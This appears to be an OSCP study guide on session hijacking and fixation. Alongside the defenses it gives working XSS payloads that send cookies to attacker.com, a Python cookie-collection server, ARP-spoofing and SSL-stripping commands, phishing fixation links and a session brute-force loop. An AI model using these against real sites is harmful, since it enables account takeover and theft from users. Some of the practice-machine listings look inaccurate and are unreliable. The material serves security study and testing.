Session Hijacking and Fixation
Author: OSCP Research Guide | Version: 1.0 | Last Updated: 2026-09-01
This topic covers session hijacking and fixation attacks in depth, including cookie theft methods, session prediction, fixation workflows, cookie security attributes, and OSCP exploitation techniques.
Table of Contents
- Session Management Fundamentals
- Session Hijacking
- Session Fixation
- Cookie Security Attributes
- Session Prediction Attacks
- Detection and Testing Methodology
- Mitigation Strategies
- OSCP Exam Relevance
1. Session Management Fundamentals
How Sessions Work
Web applications are inherently stateless — each HTTP request is independent. To maintain user state across requests, applications implement session management:
- Session Creation: When a user authenticates, the server creates a session object in memory, a database, or a store like Redis.
- Session ID Generation: The server generates a unique, high-entropy session identifier (SID).
- Cookie Delivery: The SID is sent to the client via a
Set-Cookieresponse header. - Subsequent Requests: The browser automatically includes the session cookie with every request to the domain.
- Session Validation: The server looks up the SID in its session store and associates the request with the correct user context.
Session Architecture
| Component | Description | Common Implementation |
|---|---|---|
| Session ID | Unique identifier for user session | Random string in cookie |
| Session Store | Server-side session data | Memory, database, Redis, file system |
| Session Cookie | Client-side session reference | PHPSESSID, JSESSIONID, connect.sid, session_id |
| Session Timeout | Duration of session validity | 15-30 minutes typical |
| Session Regeneration | New SID after privilege change | New random token post-login |
Session ID Characteristics
A secure session ID should have:
- High Entropy: At least 128 bits of randomness (e.g., 32+ hex characters)
- Unpredictability: Generated using a cryptographically secure PRNG (CSPRNG)
- Uniqueness: No two active sessions share the same ID
- Immutability: The ID does not change during the session (unless regenerated intentionally)
- No User Information: The ID does not embed usernames, IPs, or timestamps
Common Session Cookie Names
| Framework / Technology | Default Cookie Name |
|---|---|
| PHP | PHPSESSID |
| Java (Tomcat) | JSESSIONID |
| ASP.NET | .ASPXAUTH |
| Node.js (Express) | connect.sid |
| Ruby on Rails | _rails_session |
| Django | sessionid |
| Python (Flask) | session (signed cookie) |
2. Session Hijacking
Overview
Session hijacking is the process of taking over a valid user session by obtaining and using the victim’s session token. Once the attacker possesses a valid session ID, they can impersonate the victim with the same privileges.
Session Hijacking Methods
| Method | Description | Difficulty | Prerequisites |
|---|---|---|---|
| Cookie Theft (XSS) | Steal cookie via cross-site scripting | Medium | XSS vulnerability present |
| Network Sniffing | Capture cookie over unencrypted connection | Easy (if no HTTPS) | No HTTPS, same network |
| Session Prediction | Predict session ID generation | Hard (if proper RNG) | Weak RNG implementation |
| Man-in-the-Middle | Intercept traffic between client and server | Medium | Network position or SSL stripping |
| Server Vulnerability | Exploit server to access session store | Hard | Server-side exploit |
| Cross-Site Scripting | Inject script to read cookies | Medium | XSS + missing HttpOnly flag |
| DNS Spoofing | Redirect victim to attacker’s server | Medium | DNS vulnerability |
| Browser Cache Theft | Access cached session data | Hard | Physical/local access |
Method 1: Cookie Theft via XSS
This is the most common session hijacking vector. When an application has an XSS vulnerability and session cookies lack the HttpOnly flag, an attacker can steal the cookie:
Prerequisites:
- XSS vulnerability exists (reflected, stored, or DOM-based)
- Session cookie does NOT have the
HttpOnlyattribute
Attack Payload:
// Basic cookie exfiltration via image request
<script>
new Image().src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>
// Exfiltration via fetch (modern approach)
<script>
fetch('http://attacker.com/steal', {
method: 'POST',
body: document.cookie,
mode: 'no-cors'
});
</script>
// Exfiltration via XMLHttpRequest
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/steal', true);
xhr.send(document.cookie);
</script>
Attacker’s Collection Server (Python):
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse
class CookieCollector(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urllib.parse.urlparse(self.path)
params = urllib.parse.parse_qs(parsed.query)
if 'cookie' in params:
cookie = params['cookie'][0]
with open('stolen_cookies.txt', 'a') as f:
f.write(f"[{self.client_address[0]}] {cookie}\n")
print(f"[+] Captured: {cookie}")
self.send_response(200)
self.end_headers()
def do_POST(self):
content_length = int(self.headers['Content-Length'])
body = self.rfile.read(content_length).decode()
with open('stolen_cookies.txt', 'a') as f:
f.write(f"[{self.client_address[0]}] {body}\n")
print(f"[+] Captured: {body}")
self.send_response(200)
self.end_headers()
HTTPServer(('0.0.0.0', 80), CookieCollector).serve_forever()
Method 2: Network Sniffing
When an application does not enforce HTTPS, session cookies travel in plaintext and can be captured:
Prerequisites:
- Application accessible over HTTP (not HTTPS)
- Attacker on the same network (or able to perform MITM)
Using Wireshark:
# Capture HTTP traffic and filter for cookies
tcp.port == 80 && http.cookie
# Filter for specific session cookie name
http.cookie contains "PHPSESSID"
Using tcpdump:
# Capture and grep for session cookies
tcpdump -i any -A 'tcp port 80 and (cookie)' -w session_capture.pcap
# Or filter in real-time
tcpdump -i any -A -s 0 'tcp port 80' | grep -i "set-cookie\|cookie:"
Using Burp Suite:
- Configure browser proxy to intercept traffic
- Browse the target application over HTTP
- Search intercepted requests for
Cookie:headers - Copy the session value for reuse
Method 3: Man-in-the-Middle (SSL Stripping)
SSL stripping downgrades an HTTPS connection to HTTP, allowing the attacker to intercept session cookies:
Using sslstrip:
# Install and run sslstrip
pip install sslstrip
sslstrip -l 8080 -w stripped.log
# Combine with ARP spoofing for LAN attacks
# Terminal 1: ARP spoof
ettercap -T -q -i eth0 -M arp:remote /target1/ /target2/
# Terminal 2: SSL strip
sslstrip -l 8443
Using BetterCap (modern alternative):
# Start BetterCap with SSL strip module
bettercap -iface eth0 --proxy-upstream http://127.0.0.1:8080
# Within BetterCap console
net.probe on
arp.spoof on
ssl.strip on
caplets.run sslstrip
Method 4: Server-Side Session Store Access
If an attacker gains access to the server, they can directly read session data:
PHP Session Files:
# Find PHP session directory
grep "session.save_path" /etc/php/*/apache2/php.ini
# List session files
ls -la /var/lib/php/sessions/
# Read session data
cat /var/lib/php/sessions/sess_<SESSION_ID>
Redis Session Store:
# Connect to Redis
redis-cli -h 127.0.0.1 -p 6379
# List all session keys
KEYS "session:*"
# Get specific session data
GET "session:abc123def456"
Tomcat Session Files:
# Tomcat stores sessions in work directory
find /opt/tomcat/ -name "*.SESSIONS" -exec xxd {} \;
3. Session Fixation
Overview
Session fixation is a technique where the attacker forces the victim to use a session ID that the attacker already knows. Unlike hijacking (where the attacker steals an existing session), fixation involves planting a known session ID before the victim authenticates.
How Session Fixation Works
- Attacker obtains a session ID from the target application (by simply visiting the site)
- Attacker crafts a link containing this known session ID
- Victim clicks the link and the application accepts the attacker’s session ID
- Victim logs in — the application associates the authenticated user with the known session ID
- Attacker uses the same session ID to access the victim’s authenticated session
Session Fixation Attack Flow
┌──────────┐ ┌──────────┐ ┌──────────┐
│ Attacker │ │ Victim │ │ Server │
└────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │
│ 1. GET / │ │
│────────────────> │ │
│ │ │
│ │ 2. Set-Cookie: │
│ │ PHPSESSID=abc123│
│<────────────────────│ │
│ │ │
│ 3. Send link with │ │
│ known SID │ │
│────────────────> │ │
│ /?PHPSESSID=abc123 │ │
│ │ │
│ 4. Victim clicks │ │
│ │ 5. GET with │
│ │ PHPSESSID=abc123 │
│ │───────────────────>│
│ │ │
│ │ 6. POST login │
│ │ (same SID) │
│ │───────────────────>│
│ │ │
│ │ 7. Auth success │
│ │ (SID=abc123) │
│ │<───────────────────│
│ │ │
│ 8. Attacker uses │ │
│ PHPSESSID=abc123 │ │
│────────────────────────────────────────>│
│ │ │
│ 9. Full access! │ │
│<─────────────────────────────────────────│
Exploitation Steps
Step 1: Obtain a valid session ID
# Simply visit the target application
curl -c cookies.txt -v https://target.com/login
# Extract the session ID
# Response will contain: Set-Cookie: PHPSESSID=abc123def456; Path=/
Step 2: Craft the fixation URL
# URL with session ID as parameter
https://target.com/?PHPSESSID=abc123def456
# Or as a cookie-setting page
https://target.com/fix.php?PHPSESSID=abc123def456
Step 3: Deliver to the victim
<!-- Phishing email or message -->
<a href="https://target.com/?PHPSESSID=abc123def456">
Click here to log in to your account
</a>
<!-- Or auto-setting cookie via JavaScript -->
<script>
document.cookie = "PHPSESSID=abc123def456; path=/; domain=target.com";
window.location = "https://target.com/login";
</script>
Step 4: Wait for victim to authenticate
The victim clicks the link, arrives at the login page with the attacker’s session ID already set, and logs in. If the application does NOT regenerate the session ID upon login, the victim’s authenticated session uses the known ID.
Step 5: Attacker accesses the session
# Attacker uses the known session ID
curl -b "PHPSESSID=abc123def456" https://target.com/dashboard
# Or set the cookie in browser and browse normally
Session Fixation vs Session Hijacking
| Aspect | Session Fixation | Session Hijacking |
|---|---|---|
| Timing | Before authentication | After authentication |
| Attacker’s SID | Known from the start | Stolen/discovered later |
| Victim Action | Must authenticate with planted SID | Already authenticated |
| Social Engineering | Required (victim must click link) | May not be required (sniffing) |
| Key Defense | Session regeneration on login | Secure cookie flags, HTTPS |
When Session Fixation Fails
Session fixation will NOT work if the application:
- Regenerates session ID on login (most important defense)
- Invalidates the session ID parameter and issues a new one
- Uses secure, HttpOnly cookies that cannot be set via URL parameters
- Validates session binding (IP, User-Agent) and detects changes
4. Cookie Security Attributes
Complete Cookie Attribute Reference
| Attribute | Purpose | Recommended Value | Effect |
|---|---|---|---|
Secure |
Cookie sent only over HTTPS | Secure |
Prevents transmission over HTTP |
HttpOnly |
Cookie inaccessible to JavaScript | HttpOnly |
Blocks document.cookie access |
SameSite |
Restrict cross-site cookie sending | Strict or Lax |
Mitigates CSRF |
Domain |
Limit cookie to specific domain | Exact domain (no leading dot) | Prevents subdomain leakage |
Path |
Limit cookie to specific path | Most restrictive path | Limits cookie scope |
Expires |
Absolute expiration time | Short duration | Limits session lifetime |
Max-Age |
Relative expiration (seconds) | Short duration (e.g., 1800) | Limits session lifetime |
Secure Flag
# Without Secure flag — cookie sent over HTTP AND HTTPS
Set-Cookie: session=abc123; Path=/
# With Secure flag — cookie sent ONLY over HTTPS
Set-Cookie: session=abc123; Path=/; Secure
Impact of missing Secure flag:
- Cookie transmitted in plaintext over HTTP
- Vulnerable to network sniffing and MITM attacks
- SSL stripping attacks become effective
HttpOnly Flag
# Without HttpOnly — JavaScript can read the cookie
Set-Cookie: session=abc123; Path=/
# With HttpOnly — JavaScript CANNOT read the cookie
Set-Cookie: session=abc123; Path=/; HttpOnly
Impact of missing HttpOnly flag:
- XSS attacks can steal the session cookie via
document.cookie - This is the most critical missing attribute for session hijacking
- Even with HTTPS, XSS + no HttpOnly = session compromise
SameSite Attribute
# Strict — cookie never sent on cross-site requests
Set-Cookie: session=abc123; SameSite=Strict
# Lax — cookie sent on top-level GET navigation only
Set-Cookie: session=abc123; SameSite=Lax
# None — cookie sent on all requests (requires Secure flag)
Set-Cookie: session=abc123; SameSite=None; Secure
SameSite values:
| Value | Cross-Site Behavior | CSRF Protection |
|---|---|---|
Strict |
Never sent cross-site | Strong |
Lax |
Sent on top-level GET only | Moderate |
None |
Sent on all requests | None (must use Secure) |
Ideal Session Cookie Configuration
# The gold standard for session cookies
Set-Cookie: session=abc123def456; Path=/; Secure; HttpOnly; SameSite=Strict; Max-Age=1800; Domain=target.com
Checking Cookie Attributes
Using Browser DevTools:
- Open DevTools → Application tab → Cookies
- Inspect each cookie’s attributes
- Verify Secure, HttpOnly, and SameSite are set
Using curl:
# Check Set-Cookie header
curl -I -c - https://target.com/login
# Output example:
# Set-Cookie: PHPSESSID=abc123; path=/; httponly; secure; samesite=strict
Using Burp Suite:
- Intercept a response containing
Set-Cookie - Right-click → Engagement tools → Inspect cookie
- Review all attributes
5. Session Prediction Attacks
Overview
Session prediction attacks attempt to guess or calculate valid session IDs. These attacks are only feasible when the application uses weak session ID generation.
Weak Session ID Patterns
| Pattern | Example | Vulnerability |
|---|---|---|
| Sequential | sess_0001, sess_0002 |
Trivially predictable |
| Timestamp-based | sess_1693526400 |
Predictable within time window |
| Low entropy | sess_A3F (short) |
Brute-force feasible |
| MD5 of username | 5d41402abc4b2a76 |
Predictable if username known |
| IP-based | Hash of client IP | Predictable for known users |
| Linear congruential | Math-based sequence | Predictable from samples |
Testing Session ID Entropy
Collecting Session IDs:
import requests
import string
import collections
def collect_session_ids(url, count=100):
"""Collect multiple session IDs to analyze entropy."""
session_ids = []
for i in range(count):
resp = requests.get(url, allow_redirects=False)
set_cookie = resp.headers.get('Set-Cookie', '')
if 'PHPSESSID=' in set_cookie:
sid = set_cookie.split('PHPSESSID=')[1].split(';')[0]
session_ids.append(sid)
return session_ids
# Collect and analyze
sids = collect_session_ids('https://target.com/login', 50)
for sid in sids:
print(f"Length: {len(sid)}, Entropy chars: {len(set(sid))}")
print(f" SID: {sid}")
Entropy Calculation:
import math
def calculate_entropy(session_ids):
"""Calculate Shannon entropy of session IDs."""
all_chars = ''.join(session_ids)
freq = collections.Counter(all_chars)
total = len(all_chars)
entropy = -sum((count/total) * math.log2(count/total) for count in freq.values())
return entropy
entropy = calculate_entropy(sids)
print(f"Shannon Entropy: {entropy:.4f} bits per character")
print(f"Total estimated entropy: {entropy * len(sids[0]):.1f} bits")
# Good entropy: > 3.5 bits/char for hex, > 4.5 for alphanumeric
# Minimum recommended total: 128 bits
Brute-Force Session IDs
# If session IDs are short or sequential
for i in $(seq 1 10000); do
sid=$(printf "sess_%04d" $i)
resp=$(curl -s -o /dev/null -w "%{http_code}" -b "PHPSESSID=$sid" https://target.com/dashboard)
if [ "$resp" = "200" ]; then
echo "[+] Found valid session: $sid"
break
fi
done
6. Detection and Testing Methodology
Session Security Testing Checklist
| Test | Method | Tool | Expected Result |
|---|---|---|---|
| Cookie Security Flags | Check Set-Cookie headers | Burp Suite, browser dev tools | Secure, HttpOnly, SameSite present |
| Session ID Entropy | Analyze session ID randomness | Custom script, entropy calculator | High entropy, unpredictable |
| Session Timeout | Leave session idle, test validity | Manual testing | Session expires after timeout |
| Session Regeneration | Check if SID changes after login | Burp Suite | New SID issued post-login |
| Logout Functionality | Verify session invalidated on logout | Manual testing | Session destroyed server-side |
| Concurrent Sessions | Test multiple sessions per user | Multiple browser instances | Defined behavior |
| URL-based Session IDs | Check if SID appears in URLs | Manual inspection | SID only in cookies |
| Session Fixation | Test with known SID | Burp Suite | SID regenerated on login |
Step-by-Step Testing Procedure
Step 1: Enumerate Session Mechanism
# Identify session cookie name and attributes
curl -v -c - https://target.com/login 2>&1 | grep -i "set-cookie"
# Check if session ID appears in URLs
curl -s https://target.com/ | grep -oP 'PHPSESSID=[^&]+'
Step 2: Test Cookie Security Flags
# Check all cookie attributes
curl -I https://target.com/
# Look for:
# Set-Cookie: session=xxx; Path=/; Secure; HttpOnly; SameSite=Strict
Step 3: Test Session Regeneration
# Get pre-login session ID
curl -c cookies_pre.txt -v https://target.com/login 2>&1 | grep "Set-Cookie"
# Submit login credentials
curl -c cookies_post.txt -b cookies_pre.txt -d "user=admin&pass=password" \
https://target.com/login
# Compare session IDs
grep "PHPSESSID" cookies_pre.txt
grep "PHPSESSID" cookies_post.txt
# If IDs are different → regeneration works (good)
# If IDs are the same → fixation possible (bad)
Step 4: Test Session Timeout
# Get a valid session
curl -c session.txt https://target.com/login
# Wait for expected timeout period
sleep 1800 # 30 minutes
# Test if session is still valid
curl -b session.txt -o /dev/null -w "%{http_code}" https://target.com/dashboard
# 200 = session still valid (may be too long)
# 302 = redirected to login (session expired - good)
# 401/403 = unauthorized (session expired - good)
Step 5: Test Session Fixation
# Step 1: Get a session ID
PRE_SID=$(curl -s -c - https://target.com/login 2>&1 | grep "PHPSESSID" | cut -d= -f2 | cut -d';' -f1)
echo "Pre-login SID: $PRE_SID"
# Step 2: Login with the same session ID
curl -s -c - -b "PHPSESSID=$PRE_SID" -d "user=victim&pass=password" \
https://target.com/login 2>&1 | grep "PHPSESSID"
# Step 3: Check if SID changed
# If same → vulnerable to fixation
# If different → protected
Step 6: Test Session Cookie Accessibility
<!-- Host this on your server to test HttpOnly -->
<script>
try {
var cookies = document.cookie;
if (cookies.includes('PHPSESSID')) {
console.log("[!] Session cookie accessible via JavaScript — HttpOnly NOT set");
} else {
console.log("[+] Session cookie not accessible — HttpOnly likely set");
}
} catch(e) {
console.log("[+] Cannot access cookies");
}
</script>
Automated Testing with Burp Suite
-
Proxy Analysis:
- Browse the application through Burp
- Check all
Set-Cookieresponses in the Proxy history - Flag any cookies missing Secure, HttpOnly, or SameSite
-
Session Handling Rules:
- Burp Suite → Project Options → Sessions
- Configure session handling to track cookie changes
- Set up session token detection
-
Scanner Checks:
- Active Scan → Issue: “Session ID in URL”
- Active Scan → Issue: “Cookie without HttpOnly flag”
- Active Scan → Issue: “Cookie without Secure flag”
7. Mitigation Strategies
Server-Side Defenses
| Strategy | Implementation | Priority |
|---|---|---|
| Secure Cookie Flags | Set Secure, HttpOnly, SameSite on all session cookies | Critical |
| Session Regeneration | Generate new SID after authentication and privilege changes | Critical |
| HTTPS Only | Enforce HTTPS for all session-related traffic | Critical |
| Short Session Timeout | Invalidate sessions after inactivity (15-30 min) | High |
| Bind Session to Attributes | Tie session to IP, User-Agent, or TLS fingerprint | High |
| Monitor Session Anomalies | Alert on unusual session behavior (IP change, UA change) | Medium |
| Secure Session Store | Protect session storage (encryption, access controls) | High |
| Session ID Length | Use at least 128-bit random session IDs | Critical |
Framework-Specific Implementations
PHP:
// php.ini settings
session.cookie_secure = 1; // Secure flag
session.cookie_httponly = 1; // HttpOnly flag
session.cookie_samesite = "Strict"; // SameSite attribute
session.use_strict_mode = 1; // Reject unknown session IDs
session.sid_length = 48; // Long session ID
session.sid_bits_per_character = 6; // High entropy
// Regenerate session ID on login
if ($login_successful) {
session_regenerate_id(true); // true = delete old session
}
Node.js (Express with express-session):
app.use(session({
secret: 'strong-random-secret-at-least-32-chars',
resave: false,
saveUninitialized: false,
cookie: {
secure: true, // HTTPS only
httpOnly: true, // No JavaScript access
sameSite: 'strict', // CSRF protection
maxAge: 1800000, // 30 minutes
},
genid: () => {
// Use crypto for session ID generation
return require('crypto').randomBytes(32).toString('hex');
},
name: 'session_id', // Custom cookie name
}));
// Regenerate on login
app.post('/login', (req, res) => {
if (credentialsValid) {
req.session.regenerate((err) => {
if (err) return next(err);
req.session.user = user;
res.redirect('/dashboard');
});
}
});
Java (Spring Boot):
@Configuration
public class SessionConfig {
@Bean
public CookieSerializer cookieSerializer() {
DefaultCookieSerializer serializer = new DefaultCookieSerializer();
serializer.setUseSecureCookie(true);
serializer.setUseHttpOnlyCookie(true);
serializer.setSameSite("Strict");
return serializer;
}
@Bean
public SessionRegistry sessionRegistry() {
return new SessionRegistryImpl();
}
}
// In login controller
@PostMapping("/login")
public String login(@RequestParam String username,
@RequestParam String password,
HttpSession session) {
if (authService.authenticate(username, password)) {
session.invalidate(); // Destroy old session
// New session automatically created
session.setAttribute("user", username);
return "redirect:/dashboard";
}
return "redirect:/login?error";
}
Nginx Configuration:
# Force HTTPS
server {
listen 80;
server_name target.com;
return 301 https://$server_name$request_uri;
}
# HSTS header
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# Proxy to application
location / {
proxy_pass http://backend;
proxy_cookie_flags .* secure httponly samesite=strict;
}
Defense-in-Depth Summary
┌─────────────────────────────────────────────────┐
│ Session Security Defense Layers │
├─────────────────────────────────────────────────┤
│ Layer 1: Transport Security │
│ → HTTPS everywhere (HSTS) │
│ → TLS 1.2+ with strong ciphers │
├─────────────────────────────────────────────────┤
│ Layer 2: Cookie Security │
│ → Secure + HttpOnly + SameSite flags │
│ → Restricted Domain and Path │
│ → Short Max-Age │
├─────────────────────────────────────────────────┤
│ Layer 3: Session ID Security │
│ → 128+ bit CSPRNG-generated IDs │
│ → Regeneration on login/privilege change │
│ → No SID in URLs │
├─────────────────────────────────────────────────┤
│ Layer 4: Session Binding │
│ → Bind to User-Agent │
│ → Bind to IP (with care for mobile users) │
│ → TLS fingerprint binding │
├─────────────────────────────────────────────────┤
│ Layer 5: Monitoring & Detection │
│ → Anomaly detection on session behavior │
│ → Concurrent session limits │
│ → Automated session invalidation │
└─────────────────────────────────────────────────┘
8. OSCP Exam Relevance
Frequency and Importance
Session hijacking and fixation are core concepts tested in the OSCP exam. While dedicated session hijacking machines are less common than SQL injection or XSS boxes, session-related vulnerabilities frequently appear as:
- Part of a larger attack chain (XSS → cookie theft → session hijack)
- Misconfiguration issues (missing cookie flags, no session regeneration)
- Authentication bypass (session fixation on login forms)
- Privilege escalation (stealing admin session cookies)
Common OSCP Scenarios
Scenario 1: XSS to Session Hijack
- Find reflected XSS in a search parameter
- Confirm session cookie lacks
HttpOnlyflag - Craft XSS payload to exfiltrate
document.cookie - Use stolen cookie to access the application as the victim
- Escalate to admin if the victim has elevated privileges
Scenario 2: Session Fixation on Custom App
- Notice the application accepts session ID via URL parameter
- Confirm session ID does NOT change after login
- Obtain a session ID, craft fixation URL
- In exam context, use the same browser/profile to “become” the victim
- Access authenticated area with the known session ID
Scenario 3: Insecure Direct Cookie Manipulation
- Discover session cookie is not HttpOnly
- Use browser console or Burp to modify cookie value
- Try sequential or predictable session IDs
- Access another user’s session
Key Tools for OSCP
| Tool | Use Case |
|---|---|
| Burp Suite | Intercept and modify session cookies, test fixation |
| Browser DevTools | Inspect cookie attributes, test HttpOnly |
| curl | Test session behavior from command line |
| Wireshark | Capture session cookies over HTTP |
| Custom Python scripts | Cookie collection servers, entropy analysis |
Exam Tips
- Always check cookie flags — Missing
HttpOnlyis a common finding - Test session regeneration — Log in and check if the session ID changes
- Look for URL-based session IDs — These are inherently insecure
- Combine with XSS — If you find XSS, immediately check if cookies are stealable
- Document everything — Session hijacking findings need clear proof of concept
- Try Burp’s cookie editor — Modify, add, or remove cookies to test behavior
- Check for concurrent sessions — Some apps allow multiple sessions, some kill old ones
Practice Machines
| Machine | Platform | Session Vulnerability |
|---|---|---|
| Hackable | VulnHub | Session management issues |
| Mr-Robot | HackTheBox | Cookie-based auth bypass |
| Legacy | VulnHub | Multiple web vulns including session issues |
| Blue | HackTheBox | Session token manipulation |
This study guide covers the essential knowledge for understanding and exploiting session hijacking and fixation vulnerabilities. Master these concepts for both the OSCP exam and real-world penetration testing engagements.